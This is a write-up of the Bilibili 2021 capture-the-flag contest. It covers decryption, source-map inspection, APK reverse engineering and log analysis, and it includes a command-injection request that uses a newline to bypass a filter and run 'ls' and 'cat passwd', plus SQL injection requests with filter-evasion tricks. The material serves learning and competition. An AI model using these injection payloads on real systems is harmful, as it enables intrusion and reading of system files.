Bilibili 2021 CTF
Today is the annual Programmer’s Day on October 24, and here I collect a brief record of the problem solving process for the second part of BiliBili 2021 Security Technical Match (I would also like to call that Capture the Flag Challenge).
0x01
Let’s start with the first challenge, we found a keyword “解密” which means decryption, a normal string happy_1024_2233
with 2 lines in total 48 bytes hex divided by a colon, then we merge and convert the 48 bytes message which located after the colon into binary format using xxd
, pipe into openssl
and using aes-128-ecb
cipher without padding to decrypt the data, note that -K
argument requires hex format for the key:
1 | echo -n 'e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156' | xxd -r -p | openssl aes-128-ecb -nopad -d -K "$(echo -n 'happy_1024_2233' | xxd -p)" |
Finally we got the first flag:
1 | # a1cd5f84-27966146-3776f301-64031bb9 |
0x02
The second challenge is pointed to a user management website https://security.bilibili.com/sec1024/q
. The website is written in Vue with webpack, we can view the source code of the website through SourceMap
, and we found somethings instresting inwebpack:///src/views/home.vue
:
1 | ... |
Just guess and submit the contents of this comment, then we got the second flag confirmed:
1 | # 36c7a7b4-cda04af0-8db0368d-b5166480 |
0x03
The third challenge give us a zip file, with a keyword PHP
, a file named eval.php
in the zip file, and we found that this php file is also accessible from the pro
URL as its comments says:
1 |
|
Here’re two filter for the arguments args
, the first one is not allow arguments more than 3, the second one regular expression filter /^\w+$/
only matches alphanumeric & underscores, note that a word ended with a linefeed (after urlencode is %0A
) could also pass it.
That made us easily to escape from /bin/2233
, the bin
path and the responce from our browser tells it may a web server running Tengine on Linux, so just try to make a request with linux commands ls
to list files:
1 | curl -X GET -L 'http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=0%0a&args[]=ls' |
Just cat
the passwd
file:
1 | curl -X GET -L 'http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=0%0a&args[]=cat&args[]=passwd' |
And we got the third flag confirmed from the response:
1 | # 9d3c3014-6c6267e7-086aaee5-1f18452a |
0x04
The fourth challenge is a URL pointed to the website as same as the second challenge, and the tips tells us to use SQL injection, we find the vulnerable part is that viewing 用户信息
or 日志信息
is making a POST request to https://security.bilibili.com/sec1024/q/admin/api/v1/
with request body:
1 | {"user_id":"","user_name":"","action":"","page":1,"size":20} |
We test if it injectable because there’re two differnent APIs, the injectable one is ended with log/list
and we found that the character \t
, \n
and comment /**/
are not refused by filter:
1 | curl -X POST -L 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' \ |
Now try to get table names, remove id 3
and do the injection to show tables names:
1 | curl -X POST -L 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' \ |
Next get the list of the flag
table, the quote '
and "
seems refused by the filter, we use hexadecimal flag
(0x666c6167
) to bypass:
1 | curl -X POST -L 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' \ |
It only has one list id
, so we can get it directly:
1 | curl -X POST -L 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' \ |
Finally, the fourth flag is here:
1 | # 3d5dd579-0678ef93-18b70cae-cabc5d51 |
0x05
The entrance title remind me that this challenge is to reverse engineering a apk file, to decompile the apk file, there’re serveral ways, here I use the JADX:
1 | jadx test.apk -d 'test' -v |
Let’s take a look at the decompiled file’s structure:
1 | tree test -L 2 |
The main activity source code is in test/sources/com/example/test/MainActivity.java
, which is the entry point of the app, here we found some useful information:
1 | ... |
Then take a look at the Encrypt
method in source file test/sources/com/example/test/Encrypt.java
:
1 | package com.example.test; |
We can see that the a
method is bit operation, and the b
method is base64 encoding, so just reverse the process step, we could have a decrypt function:
1 | static void Decrypt(byte[] bArr, int i) { |
And we calling that function to decrypt the password:
1 | byte[] bArrAccount = {78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61}; |
Combine the account and password, the final flag is:
1 | # 516834cc-50e448af-bcf9ed53-9ae4328e |
0x06
As same as the previous challenge, by inspecting the source code of the MainActivity.java
again, we found the JNI handle function:
1 | ... |
The dynamic library is libMylib.so
, located in test/resources/lib
with 4 different architectures, and we can use objdump
to get the function list:
1 | objdump -d x86_64/libMylib.so -T | less |
Then it prints a function calls list:
1 | libMylib.so: file format elf64-x86-64 |
Note the fclose
, fputs
, fwrite
and fopen
function calls, it may provides file operations, and we have also found a JNI_OnLoad
function which is a bridge to the Android APP. For further investigation, I choose to use a decompiler called Ghidra to get the C/C++ source dumped and I found the all
function dose the most staff:
1 | void all(JNIEnv *env) { |
We can infer that the all
function are getting two properties from Android system’s build.prop
, and the first one is ro.product.cpu.abi
and the second one is ro.build.version.release
, if the first one equals to x86
(0x363878
, endian reversed) and the second one equals to 9
(0x39
), and has access to the file /data/2233
, the printed words in this file would be related with the flag.
1 | ... |
I tried adding a LAB_00011439
lable inside the if
block and JNZ
to that lable though the condition is false, with a permition request in AndroidManifest.xml
:
1 | <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> |
Then re-sign the APK and install it on my x86-64 QEMU Android VM, unfortunately the app crashed unexpectly, so this way just not works, patching the dynamic library is not as easy as I thought, it may contains verifications and simply change the assembly just made it broken.
Instead of using Unicorn or other similar simulator, The easiest way to use a native rooted Android device. But I don’t have that currently, so I just want to try this challenge later.
0x07
As the challenge says, it’s a data analysis challenge, just download the log file. Initially, fix the evil-log.log
file as a json file, and use python to parse the json file:
1 | import json |
The printed data structure is:
1 | { |
Then do some simple analysis to find the most frequent IPs:
1 | dict_by_ip = dict() |
And also analyze the UA as the same way:
1 | dict_by_ua = dict() |
For further analysis, I prefer to look at the distribution of request frequency of different IPs and UA on the timeline, find a time period of peak requests and the IPs requested within this time period, and for these IPs, sort them by their request frequency and establish some correspondence. Assuming that the number of requests for an IP is n, the number of normal requests (Status 200) is P, the number of abnormal requests is Q, and the richness of the requested paths is V during this time period, a similar equation F can be obtained as the basis for the ordering:
$$
F=an-bP+cQ-dV+eQV
$$
Real scenarios are often more complex, I didn’t try to analyze them further so I only got a partial score for this challenge. I also read a good article How to analyze log data with Python and Apache Spark. If I have more spare time, I will try to do this challenge again.
I am not familiar to data analysis or algorithmic models used for data analysis, applying machine learning to it also seems interesting, so there is still a lot of things for me to learn. That’s all, thanks for reading.